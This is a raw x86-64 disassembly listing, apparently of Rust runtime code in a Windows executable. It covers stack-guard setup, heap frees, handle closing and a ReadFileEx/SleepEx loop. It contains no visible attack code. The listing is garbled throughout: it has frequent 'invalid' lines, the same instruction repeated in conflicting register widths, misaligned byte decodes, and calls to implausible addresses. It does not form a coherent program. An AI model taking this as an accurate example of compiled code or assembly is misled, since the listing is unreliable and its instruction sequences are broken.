invalid
or byte [rax - 1], cl
invalid
dec rsi
jmp 0x14008fbb5
add byte [rax], al
add byte [rax], al
lea rdx, str.RUST_MIN_STACKfatal_runtime_error:_assertion_failed:_thread_info.stack_guard.get__.is_none____thread_info.thread.get__.is_none___n
lea rcx, [rsp + 0x20]
add eax, 0x4c8d4800
and al, 0x20
mov r8d, 0xe
call fcn.14007ff70
add rax, 0xffffffffb60fffff
and al, 0x38
and al, 0x38
add rax, 0xffffffffb60fffff
and al, 0x38
and al, 0x38
and al, 0x38
cmp al, 2
je 0x14008fba5
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rbx + rcx*4 + 0x44], cl
and al, 0x20
invalid
mov r8, qword [rsp + 0x20]
and byte [rax - 0x75], cl
and al, 0x28
mov rcx, qword [rsp + 0x28]
mov r9, qword [rsp + 0x30]
mov ecx, dword [rsp + 0x30]
test al, al
je 0x14008fa7c
invalid
cmp cl, byte [rbp - 0x7b]
ror byte [rdi], 0x84
pop rdx
test r8, r8
je 0x14008fba5
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rbp - 0x7b], cl
leave
test r9, r9
je 0x14008fb8a
test byte [rsi], dh
add dword [rax], eax
add byte [rcx + 0xf], al
movzx eax, byte [r8]
mov dh, 0
cmp eax, 0x2d
je 0x14008fb16
mov ch, 0
add byte [rax], al
mov ch, 0
add byte [rax], al
cmp eax, 0x2b
jne 0x14008fb21
dec r9
dec ecx
je 0x14008fb8a
add byte [rbp - 0x73], cl
push rax
add ecx, ebp
test al, 0
add byte [rax], al
invalid
lea r10, [r8 + 1]
jmp 0x14008fb24
add byte [rax], al
invalid
add byte [rax], al
add byte [rbp - 0x7b], cl
leave
test r9, r9
je 0x14008fb8a
test byte [0x18b08fa87], al
lea eax, [rax + rcx]
lea rax, [r8 + r9]
mov r10, r8
jmp 0x14008faa8
add r10, 2
cmp rdx, rax
cmovne rdx, r10
nop dword [rax]
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
mov r10, rdx
cmp rdx, rax
je 0x14008fa42
lea rdx, [r10 + 1]
movzx r11d, byte [r10]
push rdx
add dword [rbp + 0xf], eax
mov dh, 0x1a
test r11b, r11b
test bl, bl
jns 0x14008faa0
cmp r11b, 0xe0
jb case.0x14007cad1.916
loopne 0x14008fb2c
rol dword [rcx - 0x80], cl
sti
in eax, dx
jne 0x14008faeb
cmp rdx, rax
je 0x14008fa42
js 0x14008fac7
invalid
invalid
js 0x14008fac7
invalid
invalid
lea rdx, [r10 + 2]
cmp rdx, rax
je 0x14008fa42
invalid
invalid
invalid
add cl, byte [rax + 0x39]
ret 0x840f
invalid
cmp byte [r10 + 1], 0x9f
lahf
ja 0x14008fbc0
add r10, 3
mov rdx, r10
jmp 0x14008faa0
add r10, 2
cmp rdx, rax
cmp edx, eax
cmp edx, eax
cmove r10, rdx
xor edx, edx
ror byte [rcx + 0x39], cl
ret 0x950f
invalid
ror byte [rcx + 0x39], cl
ret 0x950f
add rdx, r10
cmp r11b, 0xf0
jb 0x14008faa0
xor r10d, r10d
cmp rdx, rax
setne r10b
add rdx, r10
jmp 0x14008faa0
mov r10, r8
cmp r9, 1
jne 0x14008fb24
jmp 0x14008fb8a
mov r10, r8
cmp r9, 0x11
jae 0x14008fb54
xor eax, eax
xor esi, esi
nop
movzx edx, byte [r10 + rax]
add edx, 0xffffffd0
cmp edx, 9
ja 0x14008fb8a
xor r11d, r11d
mov edi, 0xa
xor esi, esi
cmp r9, r11
je 0x14008fb4f
xor edi, edi
test rcx, rcx
je 0x14008fba0
mov rcx, qword [0x1400f91f8]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
test dil, dil
jne 0x14008fbaa
mov esi, 0x200000
lea rax, [rsi + 1]
mov qword [0x1400f91b8], rax
mov rax, rsi
add rsp, 0x40
pop rbx
pop rdi
pop rsi
ret
test rcx, rcx
je 0x14008fba5
mov rcx, qword [0x1400f91f8]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x14008fba5
mov edx, eax
test rax, rax
jne case.0x14007d912.464
mov rcx, qword [rbx]
mov qword [rbp - 0x20], rbx
mov rax, qword [rbx + 8]
mov qword [rbp - 0x10], rcx
mov qword [rbp - 0x18], rax
call qword [rax]
mov rax, qword [rbp - 0x18]
cmp qword [rax + 8], 0
mov rsi, qword [rbp - 0x20]
je 0x14008ff65
cmp qword [rax + 0x10], 0x11
cmp dword [rax + 0x10], 0x11
jae case.0x14007e263.456
mov r8, qword [rbp - 0x10]
jmp 0x14008ff56
mov r8, qword [rbp - 0x10]
mov eax, dword [rbp - 0x10]
mov r8, qword [r8 - 8]
mov rcx, qword [0x1400f91f8]
xor edx, edx
sar bh, cl
adc eax, 0x204a3
add byte [rcx], dh
sar bh, cl
adc eax, 0x204a3
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rsi
invalid
call qword [sym.imp.kernel32.dll_HeapFree]
call qword [sym.imp.kernel32.dll_GetLastError]
adc eax, 0x2042b
invalid
invalid
add al, 2
add byte [rcx - 0x1d3eb73e], cl
and byte [rax - 0x7d], cl
retf 0xbf02
invalid
mov edx, eax
shl rdx, 0x20
or rdx, 2
mov edi, 1
mov rax, rdi
add rsp, 0x50
pop rbx
pop rdi
pop rsi
pop r14
pop rbp
ret
or byte [rax], al
add byte [rax], al
mov edx, 0x10
adc byte [rax], al
add byte [rax], al
call fcn.1400a9bd0
ud2
add byte [rdi], cl
or esp, dword [rsi + 0x66]
nop word cs:[rax + rax]
nop word cs:[rax + rax]
nop word cs:[rax + rax]
mov qword [rsp + 0x10], rdx
push rbp
push r14
adc byte [rbp + 0x41], dl
push rsi
push rsi
push rdi
push rbx
sub rsp, 0x30
xor byte [rax - 0x73], cl
push 0x50
xor byte [rax - 0x73], cl
push 0x50
mov rcx, qword [rbp - 0x20]
mov rdx, qword [rbp - 0x18]
call fcn.140085120
nop
add rsp, 0x30
add esp, 0x30
add esp, 0x30
pop rbx
pop rdi
pop rsi
pop r14
pop rbp
ret
add byte [rax - 0x77], cl
push rsp
and al, 0x10
push rbp
push r14
push rsi
push rdi
push rbx
sub rsp, 0x30
sub esp, 0x30
sub esp, 0x30
xor byte [rax - 0x73], cl
push 0x50
lea rbp, [rdx + 0x50]
mov rax, qword [rbp - 0x18]
cmp qword [rax + 8], 0
je 0x140090038
mov rax, qword [rbp - 0x18]
cmp qword [rax + 0x10], 0x11
js 0x140090026
adc dword [rdx + 0xc], esi
call 0x15081835e
js 0x140090026
adc dword [rdx + 0xc], esi
mov rax, qword [rbp - 0x10]
mov rax, qword [rax - 8]
mov qword [rbp - 0x10], rax
mov rcx, qword [0x1400f91f8]
mov ecx, dword [0x1400f91f8]
int3
invalid
xor edx, edx
mov r8, qword [rbp - 0x10]
call qword [sym.imp.kernel32.dll_HeapFree]
invalid
add byte [rax - 0x75], cl
or eax, 0x691b9
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, qword [rbp - 0x20]
invalid
loopne 0x140090045
call qword [sym.imp.kernel32.dll_HeapFree]
adc eax, 0x203bd
nop
add rsp, 0x30
pop rbx
pop rdi
pop rsi
pop r14
pop rbp
ret
int3
add al, byte [rax]
test eax, eax
jne 0x140090096
call qword [sym.imp.kernel32.dll_GetLastError]
adc eax, 0x20317
cmp eax, 0x78
jne 0x1400900fa
js case.0x14007e263.472
mov rcx, qword fs:[rsi]
mov rcx, qword [rsi]
mov qword [rbp - 0x18], rsi
mov dword [rbp - 0x18], esi
mov rax, qword [rsi + 8]
mov qword [rbp - 8], rcx
mov qword [rbp - 0x10], rax
invalid
call qword [rax + 0x18]
mov rax, qword [rbp - 0x10]
invalid
cmp qword [rax + 8], 0
mov rsi, qword [rbp - 0x18]
mov esi, dword [rbp - 0x18]
invalid
invalid
js 0x1400900bc
mov esi, dword [rbp - 0x18]
je 0x1400900df
cmp qword [rax + 0x10], 0x11
jae 0x1400900c8
js 0x1400900cf
adc dword [rbx + 6], esi
mov r8, qword [rbp - 8]
clc
jmp 0x1400900d0
mov r8, qword [rbp - 8]
clc
mov r8, qword [r8 - 8]
clc
mov rcx, qword [0x1400f91f8]
or eax, 0x69121
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
add byte [rax - 0x75], cl
or eax, 0x69112
mov rcx, qword [0x1400f91f8]
mov ecx, dword [0x1400f91f8]
xor edx, edx
mov r8, rsi
ror byte [rcx - 0x77], cl
invalid
call qword [sym.imp.kernel32.dll_HeapFree]
xor eax, eax
add rsp, 0x78
invalid
js case.0x14007eb24.467
add eax, dword [rdx]
add byte [rcx], dh
ror byte [rax - 0x7d], 0xc4
invalid
js case.0x14007eb24.467
invalid
pop rbp
ret
lea rax, [0x1400eab50]
add eax, 0x5aa4f
mov qword [rbp - 0x48], rax
mov qword [rbp - 0x40], 1
add byte [rax], al
invalid
mov r8d, 0xc045c748
add dword [rax], eax
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0x5e144
loope case.0x14007e263.485
invalid
lea rax, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_src_slice_sort.rs
loope case.0x14007e263.485
add byte [rax - 0x77], cl
enter 0x570f, 0xffffffffffffffc0
xorps xmm0, xmm0
mov qword [rbp - 0x38], rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x30], xmm0
lea rdx, str.library_std_src_syswindows_stack_overflow.rs
add byte [rax - 0x73], cl
movabs r8, 0x660b0f00019b81e8
wait
add dword [rax], eax
ud2
nop word cs:[rax + rax]
nop word cs:[rax + rax]
lea rcx, [rbp - 0x48]
call fcn.1400a9cb0
wait
add dword [rax], eax
wait
add dword [rax], eax
ud2
nop word cs:[rax + rax]
nop word cs:[rax + rax]
test byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rax], al
add byte [rax - 0x77], cl
invalid
mov qword [rsp + 0x10], rdx
mov dword [rsp + 0x10], edx
push rsp
and al, 0x10
invalid
adc byte [rbp + 0x56], dl
push rbp
push rsi
sub rsp, 0x28
sub esp, 0x28
in al, dx
sub byte [rax - 0x73], cl
lea rbp, [rdx + 0x70]
lea rbp, [rdx + 0x70]
call fcn.1400aa380
sub al, 0xa2
add dword [rax], eax
ud2
nop word cs:[rax + rax]
nop dword cs:[rax + rax]
invalid
add byte [rax], al
add byte [rax - 0x77], cl
mov qword [rsp + 0x10], rdx
add byte [rax], al
mov qword [rsp + 0x10], rdx
adc byte [rbp + 0x56], dl
push rbp
push rsi
sub rsp, 0x28
lea rbp, [rdx + 0x70]
lea ebp, [rdx + 0x70]
push 0x70
jo case.0x14007eb24.451
mov rax, qword [rbp - 0x10]
mov eax, dword [rbp - 0x10]
invalid
cmp qword [rax + 8], 0
cmp dword [rax + 8], 0
js 0x14009017f
add byte [rdx + rbp + 0x48], dh
je case.0x14007e263.482
sub cl, byte [rax - 0x75]
mov rax, qword [rbp - 0x10]
mov eax, dword [rbp - 0x10]
invalid
cmp qword [rax + 0x10], 0x11
cmp dword [rax + 0x10], 0x11
js 0x140090192
adc byte [rcx], dl
adc dword [rdx + 0xc], esi
jb case.0x14007ec64.437
mov rax, qword [rbp - 8]
clc
clc
mov rax, qword [rax - 8]
mov eax, dword [rax - 8]
clc
mov qword [rbp - 8], rax
mov dword [rbp - 8], eax
clc
clc
mov rcx, qword [0x1400f91f8]
mov ecx, dword [0x1400f91f8]
nop
invalid
add byte [rcx], dh
ror byte [rbx + rcx*4 + 0x45], cl
invalid
xor edx, edx
mov r8, qword [rbp - 8]
clc
clc
clc
call qword [sym.imp.kernel32.dll_HeapFree]
adc eax, 0x20264
add byte [rax - 0x75], cl
mov rcx, qword [0x1400f91f8]
mov ecx, dword [0x1400f91f8]
or eax, 0x6904d
add byte [rcx], dh
xor edx, edx
ror byte [rbx + rcx*4 + 0x45], cl
call 0x1425a17b4
call qword [sym.imp.kernel32.dll_HeapFree]
mov r8, qword [rbp - 0x18]
call qword [sym.imp.kernel32.dll_HeapFree]
adc eax, 0x20251
push rcx
add al, byte [rdx]
add byte [rax + 0x28c48348], dl
add rsp, 0x28
nop
add rsp, 0x28
add esp, 0x28
invalid
sub byte [rsi + 0x5d], bl
pop rsi
pop rbp
ret
push rsi
push rdi
push rbx
sub rsp, 0x20
invalid
and byte [rax - 0x77], cl
mov rsi, rcx
mov esi, ecx
invalid
mov rax, qword [rcx]
lock dec qword [rax]
dec qword [rax]
dec dword [rax]
or byte [rbp + 8], dh
jne case.0x14007eb24.447
mov rcx, qword [rsi]
mov ecx, dword [rsi]
invalid
call fcn.14007a600
mov rax, qword [rsi + 0x10]
mov eax, dword [rsi + 0x10]
adc byte [rax - 0x7b], r9b
adc byte [rax - 0x7b], cl
test rax, rax
sal byte [rdi + rcx - 0x10], 0x48
dec dword [rax]
je case.0x14007ec64.441
invalid
lock dec qword [rax]
dec qword [rax]
jne case.0x14007ec64.441
or dword [rax - 0x75], ecx
mov rcx, qword [rsi + 0x10]
mov ecx, dword [rsi + 0x10]
adc al, r13b
call fcn.140067ef0
std
jl 0x1400901ef
std
dec dword [rax - 0x75]
sbb byte [rax - 0x75], r9b
invalid
invalid
mov rcx, qword [rsi + 0x18]
mov rdi, qword [rsi + 0x20]
jle 0x14009021b
and byte [rax - 0x75], cl
sbb eax, 0x201be
invalid
add dword [rdx], eax
add al, byte [rax]
mov rbx, qword [sym.imp.kernel32.dll_CloseHandle]
mov esi, 0xff000201
add al, byte [rax]
add bh, bh
call rbx
mov rcx, rdi
mov ecx, edi
ror dword [rax - 0x77], cl
mov ecx, edi
stc
call rbx
mov rax, qword [rsi + 8]
or al, dh
dec qword [rax]
ror dword [rax - 0x75], cl
or al, r14b
or al, dh
or al, dh
dec qword [rax]
dec dword [rax]
jne case.0x140082303.429
mov rcx, qword [rsi + 8]
add rsp, 0x20
invalid
or byte [rax - 0x7d], r9b
or byte [rax - 0x7d], cl
invalid
and byte [rbx + 0x5f], bl
pop rbx
pop rdi
pop rsi
jmp fcn.14008fe40
invalid
invalid
invalid
nop
add rsp, 0x20
pop rbx
pop rdi
pop rsi
ret
int3
push rsi
push rdi
push rbx
sub rsp, 0x68
in al, dx
invalid
in al, dx
push 0x246c8d48
lea rbp, [rsp + 0x60]
lea rbp, [rsp + 0x60]
lea ebp, [rsp + 0x60]
mov qword [rbp - 8], 0xfffffffffffffffe
mov qword [rbp - 0x18], rcx
mov dword [rbp - 0x18], ecx
clc
clc
invalid
dec dword [rax - 0x77]
mov dword [rbp - 0x18], ecx
call 0x1880a8d95
mov rax, qword [rcx]
add dword [rax - 0x75], ecx
mov rcx, qword [rax + 0x18]
mov ecx, dword [rax + 0x18]
sbb byte [rax - 0x7b], cl
test rcx, rcx
leave
je 0x14009026a
adc eax, 0x20508b48
mov rdx, qword [rax + 0x20]
mov byte [rbp - 9], 1
mov byte [rbp - 0xa], 1
invalid
test dword [rcx], 0x1f645c6
add esi, eax
mov byte [rbp - 0xb], 1
call fcn.140079d10
invalid
cmc
add eax, ebp
cmpsb byte [rsi], byte [rdi]
invalid
dec dword [rax - 0x75]
call 0x150518dba
invalid
invalid
mov rax, qword [rbp - 0x18]
mov rcx, qword [rax + 0x10]
adc sil, al
test dword [r9], 0x1f645c6
invalid
invalid
invalid
mov byte [rbp - 9], 1
mov byte [rbp - 0xa], 1
invalid
invalid
invalid
add esi, eax
test byte [r9], 0xc6
cmc
mov byte [rbp - 0xb], 0
cmc
add al, ch
lea edx, [rbp - 1]
dec dword [rax - 0x7b]
call fcn.140085810
test rax, rax
je 0x140090296
sal byte [rsi + rcx - 0x10], 0x48
lock dec qword [rax]
dec dword [rax]
jne 0x140090296
call fcn.140067ef0
mov rax, qword [rbp - 0x18]
mov rcx, qword [rax]
mov rdx, qword [rax + 0x18]
call 0x188118de6
mov edx, dword [rax + 0x18]
push rax
sbb byte [rax - 0x77], cl
push rbp
enter 0xffffffffffff8b48, 0x40
and byte [rax - 0x77], cl
rol r14b, 0x45
hlt
mov qword [rbp - 0x38], rdx
mov rax, qword [rax + 0x20]
mov eax, dword [rax + 0x20]
mov qword [rbp - 0x40], rax
mov byte [rbp - 0xc], 1
mov byte [rbp - 0xd], 1
call fcn.14007a010
mov byte [rbp - 0xc], 0
mov byte [rbp - 0xd], 1
add eax, ebp
push rsi
popfq
invalid
add dword [rax - 0x75], ecx
enter 0xffffffffffff8b48, 0x55
mov rcx, qword [rbp - 0x38]
mov rdx, qword [rbp - 0x40]
call case.0x1400836ee.259
push rbp
shr al, 0x51
add al, byte [rax]
add byte [rax - 0x75], cl
call 0x148798e1f
mov rax, qword [rbp - 0x18]
mov eax, dword [rbp - 0x18]
mov rsi, qword [rax + 8]
or byte [rax - 0x7d], cl
jle 0x1400902f3
cmp qword [rsi + 0x18], 0
je 0x140090326
add byte [rax + rcx*2 + 0x48], dh
mov ecx, dword [rsi + 0x20]
mov rcx, qword [rsi + 0x20]
mov rcx, qword [rsi + 0x20]
test rcx, rcx
leave
je 0x140090326
invalid
mov qword [rbp - 0x30], rsi
mov rax, qword [rsi + 0x28]
mov eax, dword [rsi + 0x28]
mov qword [rbp - 0x20], rcx
loopne 0x14009033c
mov qword [rbp - 0x28], rax
mov dword [rbp - 0x28], eax
call qword [rax]
mov rax, qword [rbp - 0x28]
mov eax, dword [rbp - 0x28]
cmp qword [rax + 8], 0
or byte [rax], al
add byte [rax - 0x75], cl
jne 0x1400902d6
mov rsi, qword [rbp - 0x30]
mov r8, qword [rbp - 0x20]
mov eax, dword [rbp - 0x20]
loopne 0x14009037f
je 0x140090326
cmp qword [rax + 0x10], 0x11
js 0x140090320
adc byte [rcx], dl
adc dword [rdx + 4], esi
jb 0x140090317
add al, 0x4d
mov eax, dword [rax - 8]
clc
mov r8, qword [r8 - 8]
clc
clc
mov rcx, qword [0x1400f91f8]
xor edx, edx
invalid
invalid
add byte [rcx], dh
sar bh, cl
adc eax, 0x200e2
add al, byte [rax]
call qword [sym.imp.kernel32.dll_HeapFree]
add byte [rdx], al
add byte [rax - 0x39], cl
sbb byte [rcx], r8b
add al, byte [rax]
mov qword [rsi + 0x18], 1
add dword [rax], eax
add byte [rax], al
add byte [rax - 0x39], cl
invalid
invalid
and byte [rax], r8b
add byte [rax], al
mov qword [rsi + 0x20], 0
and byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add al, dh
dec qword [rsi]
lock dec qword [rsi]
dec dword [rsi]
invalid
jne 0x14009034c
adc dh, al
hlt
mov byte [rbp - 0xc], 0
add dh, al
add byte [rax - 0x77], cl
add byte [rax - 0x77], cl
mov byte [rbp - 0xd], 0
mov rcx, rsi
int1
call fcn.14008fe40
hlt
nop
add rsp, 0x68
add esp, 0x68
pop rbx
pop rdi
pop rsi
pop rbp
ret
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x10], rdx
push rsp
and al, 0x10
push rbp
push rsi
push rdi
push rbx
sub rsp, 0x28
sub esp, 0x28
in al, dx
sub byte [rax - 0x73], cl
push 0x60
invalid
lea rbp, [rdx + 0x60]
invalid
call fcn.1400ada50
ud2
add byte [rdi], cl
or ecx, dword [rdi]
invalid
nop dword [rax + rax]
test byte [rax], al
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x10], rdx
push rsp
and al, 0x10
push rbp
push rsi
push rdi
push rbx
sub rsp, 0x28
sub esp, 0x28
sub esp, 0x28
sub byte [rax - 0x73], cl
push 0x60
lea rbp, [rdx + 0x60]
call fcn.1400ada50
invalid
add dword [rax], eax
ud2
nop dword [rax + rax]
test byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
add byte [rax - 0x77], cl
push rsp
mov qword [rsp + 0x10], rdx
mov dword [rsp + 0x10], edx
and al, 0x10
push rbp
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rdx + 0x60]
lea ebp, [rdx + 0x60]
push 0x60
invalid
mov rax, qword [rbp - 0x28]
cmp qword [rax + 8], 0
fmul dword [rax - 0x7d]
js 0x1400903c1
cmp dword [rax + 8], 0
add byte [rdx + rbp + 0x48], dh
je 0x1400903e6
sub cl, byte [rax - 0x75]
fmul dword [r8 - 0x7d]
mov rax, qword [rbp - 0x28]
mov eax, dword [rbp - 0x28]
cmp qword [rax + 0x10], 0x11
cmp dword [rax + 0x10], 0x11
js 0x1400903d4
adc dword [rdx + 0xc], esi
jb 0x1400903d3
mov rax, qword [rbp - 0x20]
mov eax, dword [rbp - 0x20]
loopne 0x140090414
loopne 0x140090414
mov rax, qword [rax - 8]
mov eax, dword [rax - 8]
mov qword [rbp - 0x20], rax
mov dword [rbp - 0x20], eax
loopne 0x14009041c
mov rcx, qword [0x1400f91f8]
mov ecx, dword [0x1400f91f8]
mov es, word [rsi]
add byte [rcx], dh
ror byte [rbx + rcx*4 + 0x45], cl
mov r8, qword [rbp - 0x20]
invalid
xor edx, edx
mov r8, qword [rbp - 0x20]
loopne 0x1400903e0
call qword [sym.imp.kernel32.dll_HeapFree]
adc eax, 0x20022
add byte [rax - 0x75], cl
ror byte [r8 - 0x39], 1
invalid
mov rax, qword [rbp - 0x30]
mov qword [rax + 0x18], 1
mov dword [rax + 0x18], 1
sbb byte [rcx], al
add byte [rax], al
add byte [rax - 0x39], cl
mov dword [rax + 0x20], 0
sbb byte [rcx], al
add byte [rax], al
add byte [rax - 0x39], cl
mov dword [rax + 0x20], 0
invalid
hlt
mov dword [rax + 0x20], 0
add byte [rax], al
add byte [rax], al
mov byte [rbp - 0xc], 0
mov byte [rbp - 0xd], 1
add dword [rax - 0x7d], ecx
invalid
invalid
add dword [rax - 0x7d], ecx
invalid
add esp, 0x28
pop rbx
pop rdi
pop rsi
pop rbp
ret
mov qword [rsp + 0x10], rdx
push rsp
and al, 0x10
adc byte [rbp + 0x56], dl
push rbp
push rsi
push rdi
push rbx
sub rsp, 0x28
sub byte [rax - 0x73], cl
lea rbp, [rdx + 0x60]
push 0x60
movzx ebx, byte [rbp - 0xd]
cmp byte [rbp - 0xc], 0
cmp byte [rbp - 0xc], 0
je 0x140090452
mov rsi, qword [sym.imp.kernel32.dll_CloseHandle]
mov esi, dword [sym.imp.kernel32.dll_CloseHandle]
mov rcx, qword [rbp - 0x38]
call rsi
mov rcx, qword [rbp - 0x40]
mov ecx, dword [rbp - 0x40]
mov ecx, dword [rbp - 0x40]
call rsi
mov byte [rbp - 9], bl
test esi, 0xc600f645
cmc
cmc
add byte [rax - 0x7d], cl
invalid
invalid
pop rbx
test esi, 0xc600f645
cmc
cmc
cmc
add byte [rax - 0x7d], cl
invalid
pop rdi
pop rsi
pop rbp
ret
mov byte [rbp - 9], bl
mov byte [rbp - 0xa], 0
mov byte [rbp - 0xb], 0
add byte [rax - 0x7d], cl
invalid
sub byte [rbx + 0x5f], bl
add byte [rax - 0x7d], cl
invalid
pop rsi
pop rbp
ret
test byte [rax], al
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x10], rdx
mov dword [rsp + 0x10], edx
mov dword [rsp + 0x10], edx
push rbp
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rdx + 0x60]
push 0x60
push 0x60
movzx edi, byte [rbp - 0xb]
movzx esi, byte [rbp - 0xa]
movzx ebx, byte [rbp - 9]
invalid
mov dh, 0x75
test byte [rdi], 0xb6
pop rbp
test dword [rax - 0x7c], 0x481974f6
test sil, sil
je 0x1400904ab
mov rax, qword [rbp - 0x18]
mov eax, dword [rbp - 0x18]
call 0x130098fe2
mov rax, qword [rax]
lock dec qword [rax]
dec qword [rax]
dec qword [rax]
dec dword [rax]
jne 0x1400904ab
mov rax, qword [rbp - 0x18]
mov rcx, qword [rax]
call fcn.14007a600
invalid
invalid
invalid
call 0x128118fef
call 0x128118fef
push rbp
movabs eax, dword [0x207401c7f640fffe]
invalid
test dil, 1
je 0x1400904d1
and byte [rax - 0x75], cl
call 0x150499001
mov eax, dword [rax + 0x10]
mov rax, qword [rbp - 0x18]
mov eax, dword [rbp - 0x18]
mov rax, qword [rax + 0x10]
mov eax, dword [rax + 0x10]
adc byte [rax - 0x7b], cl
sal byte [rbx + rdx - 0x10], 0x48
adc esi, eax
dec qword [rax]
test rax, rax
je 0x1400904d1
invalid
adc esi, eax
dec qword [rax]
lock dec qword [rax]
jne 0x1400904d1
mov rax, qword [rbp - 0x18]
mov eax, dword [rbp - 0x18]
mov rcx, qword [rax + 0x10]
adc al, ch
invalid
call fcn.140067ef0
test sil, sil
test dh, dh
div byte [rdx + rbx + 0x48]
mov eax, dword [rbp - 0x18]
invalid
je 0x1400904f0
mov rax, qword [rbp - 0x18]
call 0x158519026
mov rcx, qword [rax + 0x18]
mov rsi, qword [rax + 0x20]
jo 0x140090502
and byte [rax - 0x75], cl
cmp eax, 0x1fed7
add dword [rax], eax
mov rdi, qword [sym.imp.kernel32.dll_CloseHandle]
add dword [rax], eax
add bh, bh
xlatb
call rdi
mov rcx, rsi
call rdi
xlatb
test bl, bl
je 0x14009050f
invalid
mov rax, qword [rbp - 0x18]
mov eax, dword [rbp - 0x18]
call 0x148499044
mov rax, qword [rax + 8]
lock dec qword [rax]
dec qword [rax]
or byte [rbp + 0xd], dh
jne 0x14009050f
mov rax, qword [rbp - 0x18]
mov eax, dword [rbp - 0x18]
call 0x148519052
mov rcx, qword [rax + 8]
call fcn.14008fe40
xor ecx, edi
stc
invalid
nop
add rsp, 0x28
add esp, 0x28
add esp, 0x28
invalid
pop rbx
pop rdi
pop rsi
pop rbp
ret
int3
int3
int3
push rbp
push r15
push rdi
push rdi
push r14
push r13
push rbp
push rbp
push r12
push rsi
push rdi
push rbx
mov eax, 0x10b8
mov eax, 0xe8000010
push 0x58
add dword [rax], eax
mov eax, 0xe8000010
adc byte [rax], al
add al, ch
push 0x58
add dword [rax], eax
add byte [rax + 0x29], cl
invalid
sub rsp, rax
sub esp, eax
lea rbp, [rsp + 0x80]
movaps xmmword [rbp + 0x1020], xmm6
sub dword [rbp + 0x1020], esi
lodsb al, byte [rsi]
and al, 0x80
add byte [rax], al
add byte [rdi], cl
sub dword [rbp + 0x1020], esi
mov ch, 0x20
adc byte [rax], al
add byte [rax - 0x39], cl
mov qword [rbp + 0x1018], 0xfffffffffffffffe
mov dword [rbp + 0x1018], 0xfffffffe
test dword [rax], ebx
adc byte [rax], al
add dh, bh
invalid
invalid
mov qword [rbp + 0xfe8], rdx
xchg ebp, eax
call 0x18909056a
sldt word [rax]
mov r12, rcx
sldt word [rax]
add byte [rax], al
mov r12, rcx
int3
lea r13, [rbp - 0x50]
lea ebp, [rbp - 0x50]
insd dword [rdi], dx
mov al, 0x41
mov r8d, 0x1000
mov r8d, 0x1000
add byte [rax], dl
add byte [rax], al
add byte [rcx + rcx*4 - 0x17], cl
mov rcx, r13
mov ecx, ebp
xor edx, edx
call sub.VCRUNTIME140.dll_memset
je 0x1400905cf
add dword [rax], eax
xorps xmm6, xmm6
test byte [rbp + rcx*4 - 0x4b], 0xfc
lea r14, [rbp + 0xffc]
mov ch, 0xfc
sldt word [rax]
add byte [rax - 0x73], cl
lea rbx, [0x1400864e0]
sbb eax, 0xffff5f5e
pop rdi
invalid
dec dword [rbp + rcx*4 - 0x43]
mov al, 0xf
sldt word [rax]
lea r15, [rbp + 0xfb0]
mov ebp, 0xfb0
sldt word [rax]
add byte [rax - 0x75], cl
add eax, 0x1fcd8
cld
add dword [rax], eax
invalid
mov rax, qword [sym.imp.kernel32.dll_ReadFileEx]
cld
add dword [rax], eax
invalid
add byte [rax - 0x73], cl
lea rsi, [0x1400f0c9c]
xor eax, 0x60705
invalid
add byte [rax - 0x75], cl
mov rdi, qword [sym.imp.kernel32.dll_SleepEx]
cmp eax, 0x1fcd2
cld
add dword [rax], eax
invalid
add byte [rcx + rcx*4 - 0x5b], cl
mov qword [rbp + 0xff0], r12
movsd dword [rdi], dword [rsi]
invalid
sldt word [rax]
add bh, al
test esp, edi
cld
mov dword [rbp + 0xffc], 0
cld
sldt word [rax]
add byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
add byte [rdi], cl
movaps xmmword [rbp + 0xfb0], xmm6
sub dword [rbp + 0xfb0], esi
mov al, 0xf
add byte [rax], al
invalid
add byte [rax - 0x39], cl
test eax, eax
ror byte [rdi], 0
add byte [rax], al
add byte [rax], al
invalid
mov qword [rbp + 0xfc0], 0
mov dword [rbp + 0xfc0], 0
ror byte [rdi], 0
add byte [rax], al
add byte [rax], al
add byte [rcx + rcx*4 - 0x4b], cl
enter 0xf, 0
sldt word [rax]
mov qword [rbp + 0xfc8], r14
mov ch, 0xc8
sldt word [rax]
add byte [rax - 0x77], cl
mov qword [rsp + 0x20], rbx
pop rsp
and al, 0x20
and byte [rcx + rcx*4 - 0x1f], cl
mov rcx, r12
mov ecx, esp
loope case.0x140083fd6.202
mov rdx, r13
mov edx, ebp
mov r8d, 0x1000
add byte [rax], dl
add byte [rax], al
invalid
add byte [rbp - 0x77], cl
stc
mov r9, r15
mov ecx, edi
call rax
test eax, eax
invalid
je 0x140090640
pop rsi
sal byte [rsi + rbx*2 + 0x66], 0x66
nop word cs:[rax + rax]
nop word cs:[rax + rax]
nop word cs:[rax + rax]
pop rsi
nop word cs:[rax + rax]
nop word cs:[rax + rax]
nop word cs:[rax + rax]
nop dword [rax + rax]
test byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rcx - 1], bh
mov ecx, 0xffffffff
invalid
mov edx, 1
add dword [rax], eax
add byte [rax], al
call rdi
xlatb
cmp dword [rbp + 0xffc], 0
je 0x1400905f0
invalid
mov ebp, 0xffc
add byte [rbx + rbp*8 + 0x48], dh
invalid
jmp 0x14009064e
movsxd rax, dword [rbp + 0x1000]
test rax, rax
je 0x140090680
test dword [rax], eax
adc byte [rax], al
